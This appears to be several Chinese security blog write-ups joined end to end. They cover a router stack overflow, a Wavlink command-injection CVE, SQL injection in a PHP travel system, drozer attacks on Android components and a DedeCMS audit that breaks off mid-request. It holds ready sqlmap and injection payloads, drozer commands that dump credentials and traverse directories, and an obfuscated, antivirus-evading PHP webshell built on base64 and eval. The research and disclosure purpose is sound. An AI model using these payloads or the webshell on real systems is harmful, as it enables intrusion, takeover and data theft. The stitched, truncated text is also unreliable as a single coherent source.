确定漏洞点之后,我们先把固件跑起来,模拟一个真实运行环境,更好让我们观察是否因为栈溢出而产生崩溃页面 找到 /bin/httpd 文件。要模拟环境,使用以下命令: sudo chroot ./ ./qemu-mipsel-static ./bin/httpd 等一会之后,直接上浏览器输入对应IP地址 192.168.102.145,就可以进入到AC20路由器页面。 跑起来之后,我们使用burpsuite进行一个发包测试,发送一堆垃圾数据到sharedSpeed。 可以发现192.168.102.145/main.html出现了崩溃信息。 而从终端也观察到分段错误,确认发生了栈溢出,也就是shareSpeed这里存在一个缓冲区错误。
某路由器二进制漏洞挖掘过程
1.前言 半个月前,我在对Wavlink品牌WL-NU516U1型号路由器进行安全测试时,发现其管理界面存在一处命令注入漏洞。 该漏洞源于系统对用户输入过滤不严,攻击者可通过特制的HTTP请求在设备中执行任意系统命令,从而完全控制设备。 经过深入分析与验证,确认该漏洞具有高危害性,可导致设备被完全接管。 我写了详细的技术报告,包括漏洞成因、利用方式和修复建议,并通过正规渠道向Wavlink厂商及CVE机构提交。 近日,该漏洞已正式获得CVE编号CVE-2025-9149。 https://www.wavlink.com/en_us/index.html2.漏洞概述 Wavlink是一家专注于网络设备和通信解决方案的公司,提供优质的路由器、扩展器和网络配件。其下的WAVLINK-NU516U1型号的固件,功能用于提供打印机服务器网卡,其管理后台存在命令注入漏洞,允许攻击者完成os命令执行。 固件下载地址: https://docs.wavlink.xyz/Firmware/fm-516u1/ 3.漏洞详情 对固件binwalk -Me [固件位置] 解包 binwalk -Me WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin 获得其解包文件,而我们要找到/squashfs-root/etc/lighttpd/www/cgi-bin中的wireless.cgi二进制文件, 它的位置在 cgi-bin目录下,它是Lighttpd Web服务器的一个后端CGI程序。 当用户通过浏览器访问路由器的管理界面,比如说随便点击“无线设置”页面提交表单时,Lighttpd Web服务器会接收到这个HTTP请求。 Web服务器根据请求的URL,判断需要由哪个CGI程序来处理,对于无线设置相关的请求,它就会找到并执行这个 wireless.cgi文件。 wireless.cgi程序开始运行,它解析HTTP请求中的数据,比如你提交的表单项,然后可能会调用其他系统工具,如内置的 iwconfig、wpa_supplicant,或者直接读写配置文件, /etc/config/wireless来执行具体的无线网络配置更改。 处理完毕后,wireless.cgi会生成一个HTTP响应,比如一个成功响应的HTML页面,并将其输出到标准输出。 Web服务器捕获到这个输出,并将其打包成完整的HTTP响应,发送回给用户的浏览器。 与用户浏览器直接进行网络通信的是 Lighttpd Web服务器。 wireless.cgi是一个被Web服务器调用的后台程序,负责处理具体的业务逻辑。它是间接与外界通信的关键环节。 所以,这个wireless.cgi虽不直接与外界进行通信,但是它却负责处理用户从外部输入的数据,比如说HTTP请求参数,如果它对这些输入的处理不当,例如没有经过严格过滤就直接拼接成系统命令,就非常容易产生命令注入、缓冲区溢出等漏洞。 找到之后,拿IDA打开,观察其函数,先看main函数,首先用了fgets函数获取标准输入,拿到了用户提交的page参数值。 sub_405EA8函数将page参数值设置为GuestWifi,会跳转进入sub_4032E4函数。 sub_4032E4函数内,获取了Guest_ssid参数值,该值可以post传参可控,而且这段代码是典型的“功能开关”设计,程序在处理HTTP请求参数时,会依次读取多个配置值。 从参数名可以推断,guestEn代表 “Guest Enable”,即访客网络功能的总开关,代码首先获取这个开关的值 (v2 = sub_405EA8("guestEn", a1,0));,并将其保存到变量 v4中,而Guest_ssid是依赖项,Guest_ssid是访客网络功能下的一个子配置项,它的逻辑处理必然依赖于总开关 guestEn是否开启。 随后Guest_ssid参数值被传入sub_407504函数内。 而往上看会发现,必须v4为1,才会去执行sub_407504函数,否则就会跳到label_11的地方去,而v4在往上看则能够发现是字符串guestEn的值。 所以构造poc的时候,必须将guestEn设置为1 而在sub_407504函数中,在其中拼接给v8变量,交给system函数执行,产生了命令注入。 所以我们只需要构造page=GuestWifi&guestEn=1&Guest_ssid=1.txt就可以产生命令注入漏洞。 4.漏洞验证 首先使用工具将Wavlink模拟起来,这里选择了FrimAE sudo ./run.sh -r Wavlink /home/fuzz/Wavlink/WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin 检查名为"httpd"的进程是否正在运行 设备正在运行 lighttpd Web服务器,其配置文件位于 /etc/lighttpd/lighttpd.conf 在浏览器打开F12,观察其Cookie,好帮助我们接下来发包的时候顺利。 接下来进行一个发包测试,将数值写入到poc.txt文件中,观察Wavlink路由器文件是否会出现poc.txt,且里面是否有我们注入的内容。 可以发现已经成功注入进去了,证明这里确实存在命令注入漏洞。
在线旅游及旅行管理系统项目SQL注入
1.前言 之前在网上随便逛逛的时候,发现一个有各种各样的PHP项目的管理系统,随便点进一个查看,发现还把mysql版本都写出来了,而且还是PHP语言。 https://itsourcecode.com/free-projects/php-project/online-tours-and-travels-management-system-project-in-php-and-mysql/那这可能存在sql注入漏洞,所以代码审计了一下,并上报了CVE,现在编号下来了 CVE-2025-9008,CVE-2025-8993,于是公开发现过程。 2.漏洞详情 1.1 CVE-2025-9008 下载其源代码之后,对“在线旅游及差旅管理系统”进行安全审查期间,发现“/admin/sms_setting.php””文件中存在一个高危SQL注入漏洞。 $sql = "UPDATE sms_setting SET uname='".$_POST['uname']."',    password='".$_POST['password']."',    sender_id='".$_POST['sender_id']."'       WHERE id='1'"; 这段sql代码一眼望过去就是,直接将用户通过 $_POST超全局数组提交的数据,未经任何过滤和转义,就拼接到了 SQL 查询字符串中,那这肯定就存在sql注入漏洞。 因为sql 注入的核心在于“混淆了代码和数据”,用户的输入本应被视为普通数据,但由于直接拼接,攻击者可以精心构造输入,让其成为 sql代码的一部分,从而篡改原SQL语句的意图。 比如说在密码 password 输入框中,攻击者输入了:' OR '1'='1 那么,最终拼接出来的 SQL 语句会变成: UPDATE sms_setting SET uname='hacker',  password='' OR '1'='1', sender_id='fake_sender' WHERE id='1' 这条语句的含义被彻底改变了。password字段的赋值不再是一个简单的字符串,而是变成了一个逻辑判断 '' OR '1'='1'。这个判断的结果是 永远为真。 更高级的攻击者甚至可以输入类似 '; DROP TABLE users; --的内容,从而执行任意sql命令,比如说删除数据库表,导出数据库数据之类的操作。 payload --- Parameter: uname (POST)   Type: boolean-based blind   Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause   Payload: uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ&password=111111111111111111&sender_id=1111111111111111111&update=   Type: error-based   Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)   Payload: uname=111111111111' AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7178627171,(SELECT (ELT(9139=9139,1))),0x716a787171)) AND 'CAQx'='CAQx&password=111111111111111111&sender_id=1111111111111111111&update= --- 我们也可以使用一些工具来进行查看,比如说sqlmap。 sqlmap -u "http:/http://127.0.0.1/code/admin/sms_setting.php" --data="uname" --batch --dbs 通过 HTTP POST 请求 提交的、名为 uname的表单字段,选择了布尔盲注的攻击类型。 布尔盲注这是一种高级注入技术,用于当网站不会直接显示数据库错误信息,并且查询结果也不会直接返回到页面上的情况。攻击者通过向数据库发送一个“问题”,然后根据页面返回的细微差异,一般来说都是通过观察页面是否可以正常加载来判断。 而图中的payload uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ 111111111111:这是一个随机的无效用户名,目的是让原查询的uname匹配不到结果。 RLIKE: 这是MySQL的正则表达式匹配操作符,一般用它来触发一个条件判断。 (CASE WHEN (2321=2321) THEN ... ELSE ... END): 这是一个SQL的CASE条件语句。这里它判断一个永恒成立的条件 2321=2321 如果条件为 True,那么整个RLIKE语句会匹配用户名111111111111,页面可能会返回一个找不到用户名存在的状态。 如果条件为 False,比如说什么1=2之类的常见语句,那么CASE语句会返回一个错误的结果,导致RLIKE匹配失败,页面可能会返回一个完全空白的状态。 把2321=2321换成 (SELECT COUNT(*) FROM information_schema.schemata) > 5),观察页面的反应,盲猜出数据库名称出来。 所以明确了这里存在sql注入漏洞。 1.2 CVE-2025-8993 接着,在“/admin/expense_report.php”文件中又发现了一个严重的SQL注入漏洞。该漏洞源于对“from_date”参数的用户输入验证不足,使得攻击者能够注入恶意SQL查询。因此,攻击者可以未经授权访问数据库,修改或删除数据,并获取敏感信息。 这段代码的核心逻辑其实就是,首先检查用户是否点击了提交按钮if (isset($_POST['submit'])),然后就去获取用户表单中输入的起始日期$from_date和结束日期$to_date,连接数据库之后用一条 sql 语句,查询 expense表中所有在用户指定日期范围内创建的记录。 而且还用了PDO,PDO最重要的就是预处理语句,从根本上防御sql注入,但是又没使用好。 它将 sql 语句的结构 和 数据 分开发送给数据库服务器处理。 比如说先把一个带“占位符”的 sql 模板发送给数据库,数据库会解析并编译这个模板,确定它的结构。 $stmt = $pdo->prepare("SELECT * FROM users WHERE name = ? AND pwd = ?"); 然后当执行阶段的时候,再把真实的数据,比如说什么用户输入的用户名和密码,发送给数据库,数据库只会把这些数据当正常数据值使用,不会把它当成 SQL 代码来解析。 这样就避免了,即使用户输入了恶意的数据比如说什么常见的 ' OR '1'='1,它也只会被当作一个普通的字符串字面值去进行匹配,而不会改变原sql语句的逻辑。从而彻底杜绝了 SQL 注入。 但是这条sql语句虽然也使用了PDO,但是它把用户要输入的from_date的值给它拼接到sql字符串了,代码和字符串直接拼接,完全绕过了PDO的安全保护,让PDO形同虚设。 $stmt = $conn->prepare("SELECT * FROM expense where created_date between '".$_POST['from_date']."' and '".$_POST['to_date']."' "); $_POST['from_date'] 和 $_POST['to_date'] 没有任何过滤/转义,直接拼接到了 SQL 中。 攻击者只要在表单输入里构造恶意 payload,就能注入 sql。 虽然用了 PDO,但没有真正用到参数化查询。 $conn->prepare(...) 本身可以防止注入,但是这里不知道怎么回事,开发者依然把变量拼接到了 sql 里,相当于没起作用。 所以漏洞源于“from_date”参数的用户输入验证不足,导致攻击者能够注入恶意sql查询。 payload --- Parameter: from_date (POST)   Type: error-based   Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)   Payload: from_date=0111-11-11' AND GTID_SUBSET(CONCAT(0x71716a6271,(SELECT (ELT(8748=8748,1))),0x7162707071),8748)-- OwaD&to_date=0001-01-11&submit=   Type: time-based blind   Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)   Payload: from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vyOX&to_date=0001-01-11&submit= --- 用sqlmap进行检测 sqlmap -u "http:/http://127.0.0.1/code/admin/expense_report.php" --data="from_date" --batch --dbs sqlmap 识别到 POST 参数 from_date 存在注入漏洞。 测试了多种方式,包括 基于报错注入 和 基于时间的盲注 ,都确认有效。 所谓的错误型注入,简单点说就是通过故意触发数据库错误,从而让数据库在报错信息中直接返回查询结果。 还有时间盲注 ,字面意思也就是通过让数据库执行延时函数,比如说什么 SLEEP(5),然后根据页面响应时间来判断注入的sql是否有效。 from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vy0X&... 如果注入成功,数据库将会执行 SLEEP(5)命令,导致页面响应时间延迟5秒。sqlmap就会根据这个延迟就能判断出漏洞存在。 而且sqlmap 成功获取了数据库名:information_schema,这是系统库,每个cms都会有的。 tour1,这个才是该cms特有的数据库名称。 所以明确了POST参数的from_date存在注入漏洞。 3.建议修复 使用准备好的语句和参数绑定:准备好的语句可以防止 SQL 注入,因为它们将 SQL 代码与用户输入数据分离。使用准备好的语句时,用户输入的值将被视为纯数据,不会被解释为 SQL 代码。 输入验证和过滤:严格验证和过滤用户输入数据,确保其符合预期的格式。 最小化数据库用户权限:确保用于连接数据库的账户具有必要的最低权限。避免使用具有高级权限的账户,比如“root”或“admin”进行日常操作。 定期安全审计:定期进行代码和系统安全审计,及时发现并修复潜在的安全漏洞。
Android四大组件安全漏洞实战
Android 四大组件Activity、Service、Broadcast Receiver和Content Provider是应用程序的核心组成部分,但如果实现不当,会引入严重的安全漏洞。本文将详细分析各组件常见的安全漏洞,通过漏洞代码逻辑基于 drozer 的利用方式,能够更清楚的了解具体漏洞的原理以及利用方法。 具体droze的下载和安装不详细介绍,可以自行百度,安装完成后先在android端运行drozer agent,点击开启。 在电脑端通过adb实现端口转发,并成功启动drozer adb forward tcp:31415 tcp:31415 drozer console connect 通过app.package.list的filter参数过滤alan关键词的包名称 run app.package.list --filter alan 查询该app的包信息 run app.package.info -a com.asec.alan 利用app.package.attacksurface可以查询该APP的攻击面,即漏洞的点和数量。 run app.package.attacksurface com.asec.alan 完成上述的操作后,即可对相关的漏洞进行检测分析了,接下来针对具体的组件和漏洞进行测试操作。 一、Activity Activity 作为 Android 的界面组件,负责与用户交互,其安全问题直接影响用户数据安全。 1、未授权访问漏洞 需要登录权限的 Activity 未做严格校验,导致恶意应用可直接通过 Intent 启动。 通过以下drozer命令可以查看当前app的所有activity,并确认无权限限制 run app.activity.info -a com.asec.alan 对于这些activity的执行逻辑属于 LoginActivity登录->MainActivity->InfoQueryActivity LoginActivity登录->MainActivity->FileQueryActivity 1)漏洞代码 以下为具体的代码,以LoginActivity登录->MainActivity->InfoQueryActivity场景为例,可以看到首先LoginActivity以硬编码的形式进行用户密码的判断,并使用SharePreference进行了登录态的存储 当用户密码登录成功后即可跳转MainActivity,MainActivity对登录态简单做了校验,确认其中的is_logged_in的值存在即可加载。 通过MainActivity跳转到InfoQueryActivity直接进行点击事件的监听跳转 该acitivity直接加载,未进行登录态的校验 通过上述APP代码的分析,可以判断出MainActivity的加载做了简单的登录态校验,但是如果已经登录过,且登录态写入到user_prefs.xml中后,只要不进行删除即可直接通过命令加载成功实现绕过;InfoQueryActivity的加载并未做任何校验,可以尝试直接进行加载。 2)漏洞利用 MainActivity加载: 基于上述代码逻辑的分析,接下来通过drozer命令进行利用测试,如果已经登录过APP,则在该程序目录会生成user_prefs.xml文件,里面会写入"is_logged_in"的值为true MainActivity的加载可直接通过drozer命令加载 run app.activity.start --component com.asec.alan com.asec.alan.MainActivity 执行后成功记载MainActivity 删除user_prefs.xml文件,再利用drozer命令尝试加载MainActivity则失败 InfoQueryActivity加载: InfoQueryActivity则通过app.activity.start命令直接加载即可。 run app.activity.start --component com.asec.alan com.asec.alan.InfoQueryActivity 3)修复建议 二、Service Service 用于后台处理任务,若存在漏洞可能导致敏感操作被恶意调用。 新建一个用于漏洞测试的service,并写入一些漏洞的逻辑 service组件运行导出 通过drozer命令可以查询支持导出的service组件信息,支持导出则可能存在对应的漏洞。 run app.service.info -a com.asec.alan 1、任意文件写入漏洞 在 Android Service 场景中,当服务接收外部传入的文件路径参数并直接用于文件写入操作时,覆盖应用自身关键文件(配置文件、数据库等),导致应用的使用或者安全风险问题。 1)漏洞代码 当 Service 处理"com.asec.alan.ACTION_WRITE_FILE"动作时,会从 Intent 中直接读取filePath参数及需要写入的内容,并通过writeToFile()方法写入内容。但是writeToFile()直接使用传入的filePath创建File对象,未检查路径是否限制在应用私有目录 2)漏洞利用 通过drozer命令向/data/data/com.asec.alan/写入drozer_test.txt文件,文件内容为Test from drozer run app.service.start --action com.asec.alan.ACTION_WRITE_FILE --component com.asec.alan com.asec.alan.VulnerableService --extra string file_path "/data/data/com.asec.alan/drozer_test.txt" --extra string content "Test from drozer" 利用adb shell连接android系统,切换为root权限后查看drozer_test.txt的存在和内容 adb shell su ls /data/data/com.asec.alan/drozer_test.txt cat /data/data/com.asec.alan/drozer_test.txt 2、敏感信息泄露漏洞 敏感信息泄露指应用在运行过程中,将不应公开的敏感数据(如密码、密钥、令牌等)以明文形式存储、传输或输出,导致未授权主体可获取这些信息。 1)漏洞代码 当 Service 处理"com.asec.alan.ACTION_GET_SECRET"动作时,getSensitiveInformation()方法会返回包含数据库密码、API 密钥等核心敏感数据,并通过Log.d()输出到系统日志 2)漏洞利用 利用drozer命令启动com.asec.alan com.asec.alan.VulnerableService服务 run app.service.start --action com.asec.alan.ACTION_GET_SECRET --component com.asec.alan com.asec.alan.VulnerableService 通过adb的logcat查看对应的日志,成功打印出对饮的敏感数据。 adb logcat VulnerableService:D *:S 三、Broadcast Receiver Broadcast Receiver 用于接收系统或应用间的广播,若实现不当会导致信息泄露或恶意调用。 1、伪造恶意广播漏洞 Receiver 未验证广播发送者身份,恶意应用可伪造广播触发敏感操作。 1)漏洞代码 该接收器未对广播发送者的身份进行任何验证,任何应用都可以发送com.asec.alan.ACTION_SENSITIVE_OPERATION动作的广播来触发其逻辑。并通过performSensitiveOperation方法执行敏感操作,测试使用Toast在界面弹窗展示,但整个调用链都没有权限检查机制。 2)漏洞利用 利用drozer伪造恶意广播并触发该接收器 run app.broadcast.send --action com.asec.alan.ACTION_SENSITIVE_OPERATION --component com.asec.alan com.asec.alan.VulnerableReceiver --extra string operation "test" --extra string data "test" 通过界面可以查看到对应的广播信息 四、Content Provider Content Provider 用于数据共享,是最容易出现安全问题的组件,常见漏洞包括信息泄露、SQL 注入和目录遍历。 1、信息泄露漏洞 Content Provider 未限制访问权限,导致应用内敏感数据(如用户信息、数据库)可被任意读取。 1)漏洞代码: 通过该代码可以发现,未检查调用者是否有读取权限,可以直接调用sql进行数据的查询。 2)漏洞利用 利用drozer命令可以查看该APP的provider的信息 run app.provider.info -a com.asec.alan 利用app.provider.finduri可以查看所有的uri run app.provider.finduri com.asec.alan 通过drozer查询content://com.asec.alan.provider/该uri的数据 run app.provider.query content://com.asec.alan.provider/ 2、SQL 注入漏洞 Content Provider 在处理查询时直接拼接 SQL 语句,未使用参数化查询,导致 SQL 注入。 1)漏洞代码 通过代码发现将selection参数直接拼接进 SQL 查询字符串,未使⽤参数化查询或输⼊净化,完全信任外部输⼊。并且忽略了selectionArgs参数,该参数本应⽤于安全传递查询参数,调⽤rawQuery时未使⽤参数绑定功能,⽽是传递null。 2)漏洞利用 利用drozer的scanner.provider.injection可以查询该APP的Content Provider存在的SQL注入 run scanner.provider.injection -a com.asec.alan 基于sql注入漏洞的测试和利用,通过order by进行显示位的判断 run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 2" run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 3" run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 4" 并进行username和password数据的查询。 run app.provider.query content://com.asec.alan.provider/ --selection "1=1 UNION SELECT 1,username,password FROM users--" 3、目录遍历漏洞 Content Provider 的openFile()方法未验证文件路径,导致攻击者可访问应用沙盒外的任意文件。 1)漏洞代码 代码中使用uri.getEncodedPath()获取路径,未处理../或..\等路径跳转符,用户可控的uriPath直接与基础目录baseDir拼接,并没有对访问的文件类型、路径范围进行权限校验。 2)漏洞利用 利用drozer的scanner.provider.traversal对目录遍历漏洞进行检测,发现对应的uri run scanner.provider.traversal -a com.asec.alan 并成功查询/system/etc/hosts文件内容 run app.provider.read content://com.asec.alan.provider/../../../../system/etc/hosts 本文利用drozer工具基于该APP的测试和操作,其实对于android app的组件漏洞的测试还有很多方法,通过其对四大组件的系统性检测,可有效发现权限控制缺失、输入验证不足等高危漏洞。在实际测试中,需结合静态代码分析(如查看 AndroidManifest.xml 的组件配置)与 Drozer 的动态交互测试,形成 "静态枚举 + 动态验证" 的闭环,才能全面评估组件的安全状态,为漏洞修复提供精准依据。 APP地址: https://pan.baidu.com/s/1l1thGur7wmMBXLWivqW6cg?pwd=4ggk 提取码: 4ggk
意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE
前言 书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS 官方网站 https://www.dedecms.com/ 最后成功利用免杀 webshell 实现了 RCE,下面是审计过程和审计思路 环境搭建 去官网下载源码,然后配合 phpstudy 搭建就 ok 了 这个比较简单,注意根目录需要放 upload 目录 注意默认的管理员目录是 dede,访问/dede/login.php 默认账户密码adminadmin 代码审计 这里我只找 RCE 漏洞 首先对于 php 的话,就是找 sink 点,或者在后台功能点去看,一般审计多了,看到功能点就大概能猜出有哪些漏洞 sink 点的话可以使用一个工具 Seay 源代码审计系统 https://github.com/f1tz/cnseay虽然比较粗糙,误报很多,不过相比于语义分析的工具更能提升代码审计的技术 我们直接把源码丢进去就可以了 可以看到这个工具确实不太准确,因为 sink 点实在太多,不过熟练后,一眼就知道哪些不需要去管的 然后这里我只关注能够 RCE 的漏洞 找到之后没有什么技巧,就是回头看参数是否可以控制 下面举个例子 案例 1 比如这句话,一眼就感觉有漏洞,我们就需要去详细查看一下 <?php /*<meta name="9Rrdzo" content="a">*/ $password='UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0 $username = get_meta_tags(__FILE__)[$_GET['token']]; header("ddddddd:".$username); $arr = apache_response_headers(); $template_source=''; foreach ($arr as $k => $v) {    if ($k[0] == 'd' && $k[5] == 'd') {        $template_source = str_replace($v,'',$password);   }} $template_source = base64_decode($template_source); $template_source = base64_decode($template_source); $key = 'template_source'; $aes_decode[1]=$key; @eval($aes_decode[1]); $NkM1M7 = ".............."; if( count($_REQUEST) || file_get_contents("php://input") ){ }else{    header('Content-Type:text/html;charset=utf-8');    http_response_code(405);    echo base64_decode/**/($NkM1M7); } 我们可以看到这个参数其实是不能控制的 `aes_decode[1]就是 $key,等价于$template_source $template_source = str_replace($v, '', $password); 来源于$password 而其中 password 是固定的,所以不可以控制 案例 2 function DeleteFile($filename)   {        $filename = $this->baseDir.$this->activeDir."/$filename";        if(is_file($filename))       {            @unlink($filename); $t="文件";       }        else       {            $t = "目录";            if($this->allowDeleteDir==1)           {                $this->RmDirFiles($filename);           } else           {                // 完善用户体验,by:sumic                ShowMsg("系统禁止删除".$t."!","file_manage_main.php?activepath=".$this->activeDir);                exit;           }                   }        ShowMsg("成功删除一个".$t."!","file_manage_main.php?activepath=".$this->activeDir);        return 0;   } } 是一个方法,这种需要寻找调用这个方法的地方 else if($fmdo=="del") {    $fmm->DeleteFile($filename); } 这种是一个典型的控制器,根据 fmdo 来选择对应的操作 不过根据所在的文件的注释 /** * 文件管理控制 * * @version       $Id: file_manage_control.php 1 8:48 2010年7月13日 $ * @package       DedeCMS.Administrator * @founder       IT柏拉图, https://weibo.com/itprato * @author         DedeCMS团队 * @copyright     Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.) * @license       http://help.dedecms.com/usersguide/license.html * @link           http://www.dedecms.com */ 这里就能大概猜到了 是一个文件管理器,可能对应着删除按钮,我们尝试能不能目录穿越 不过这里是做了限制的 $filename = preg_replace("#([.]+[/]+)*#", "", $filename); 移除 ../ 形式的路径穿越字符 而且下面还会直接移除.. 所以考虑放弃 案例 3 定位到 sys_sql_query.php 文件了 发现可以执行 sql if(preg_match("#^select #i", $sqlquery))   {        $dsql->SetQuery($sqlquery);        $dsql->Execute();        if($dsql->GetTotalRow()<=0)       {            echo "运行SQL:{$sqlquery},无返回记录!";       }        else       {            echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";       }        $j = 0;        while($row = $dsql->GetArray())       {            $j++;            if($j > 100)           {                break;           }            echo "<hr size=1 width='100%'/>";            echo "记录:$j";            echo "<hr size=1 width='100%'/>";            foreach($row as $k=>$v)           {                echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";           }       }        exit();   }    if($querytype==2)   {        //普通的SQL语句        $sqlquery = str_replace("\r","",$sqlquery);        $sqls = preg_split("#;[ \t]{0,}\n#",$sqlquery);        $nerrCode = ""; $i=0;        foreach($sqls as $q)       {            $q = trim($q);            if($q=="")           {                continue;           }            $dsql->ExecuteNoneQuery($q);            $errCode = trim($dsql->GetError());            if($errCode=="")           {                $i++;           }            else           {                $nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>";           }       }        echo "成功执行{$i}个SQL语句!<br><br>";        echo $nerrCode;   }    else   {        $dsql->ExecuteNoneQuery($sqlquery);        $nerrCode = trim($dsql->GetError());        echo "成功执行1个SQL语句!<br><br>";        echo $nerrCode;   }    exit(); } 而且 sql 语句是可以控制的 跟进执行的地方发现 function Execute($id="me", $sql='') {      global $dsqli; if(!$dsqli->isInit) { $this->Init($this->pconnect); }      if($dsqli->isClose)     {          $this->Open(FALSE);          $dsqli->isClose = FALSE;     }      if(!empty($sql))     {          $this->SetQuery($sql);     }      //SQL语句安全检查      if($this->safeCheck)     {          CheckSql($this->queryString);     }      $t1 = ExecTime();      //var_dump($this->queryString);      $this->result[$id] = mysqli_query($this->linkID, $this->queryString); //var_dump(mysql_error());      //查询性能测试      if($this->recordLog) { $queryTime = ExecTime() - $t1;          $this->RecordLog($queryTime);          //echo $this->queryString."--{$queryTime}<hr />\r\n";     }      if($this->result[$id]===FALSE)     {          $this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");     } } 是有一个 checksql 的检查的 //SQL语句过滤程序,由80sec提供,这里作了适当的修改 if (!function_exists('CheckSql')) {    function CheckSql($db_string,$querytype='select')   {        global $cfg_cookie_encode;        $clean = '';        $error='';        $old_pos = 0;        $pos = -1;        $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';        $userIP = GetIP();        $getUrl = GetCurUrl();        //如果是普通查询语句,直接过滤一些特殊语法        if($querytype=='select')       {            $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";            //$notallow2 = "--|/\*";            if(preg_match("/".$notallow1."/i", $db_string))           {                fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");                exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");           }       }        //完整的SQL检查        while (TRUE)       {            $pos = strpos($db_string, '\'', $pos + 1);            if ($pos === FALSE)           {                break;           }            $clean .= substr($db_string, $old_pos, $pos - $old_pos);            while (TRUE)           {                $pos1 = strpos($db_string, '\'', $pos + 1);                $pos2 = strpos($db_string, '\\', $pos + 1);                if ($pos1 === FALSE)               {                    break;               }                elseif ($pos2 == FALSE || $pos2 > $pos1)               {                    $pos = $pos1;                    break;               }                $pos = $pos2 + 1;           }            $clean .= '$s#39;;            $old_pos = $pos + 1;       }        $clean .= substr($db_string, $old_pos);        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));        if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE        OR strpos($clean,'$s$s#39;)!== FALSE)       {            $fail = TRUE;            if(preg_match("#^create table#i",$clean)) $fail = FALSE;            $error="unusual character";       }        //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它        if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="union detect";       }        //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们        elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)       {            $fail = TRUE;            $error="comment detect";       }        //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="slown down detect";       }        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="slown down detect";       }        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="file fun detect";       }        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="file fun detect";       }        //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息        elseif (preg_match('~\([^)]*?select~s', $clean) != 0)       {            $fail = TRUE;            $error="sub select detect";       }        if (!empty($fail))       {            fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");            exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");       }        else       {            return $db_string;       }   } } 案例 4 基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法 我们来到对应的路由去查看 果然找到了 //文件编辑 /*--------------- function __saveEdit(); ----------------*/ else if($fmdo=="edit") {    csrf_check();    $filename = str_replace("..", "", $filename);    $file = "$cfg_basedir$activepath/$filename";    $str = stripslashes($str);    $fp = fopen($file, "w");    fputs($fp, $str);    fclose($fp);    if ($fp === false) {        ShowMsg("保存失败!请检查文件是否可写", -1);        exit();   }    if(empty($backurl))   {        ShowMsg("成功保存一个文件!","file_manage_main.php?activepath=$activepath");   }    else   {        ShowMsg("成功保存文件!",$backurl);   }    exit(); } 一样的方法 文件名是 filename,内容是 str 我们访问对应的路由 发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗 POST /dede/file_manage_control.php HTTP/1.1 Host: dedecms:5135 Content-Length: 130 Cache-Control: max-age=0 Origin: http://dedecms:5135 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 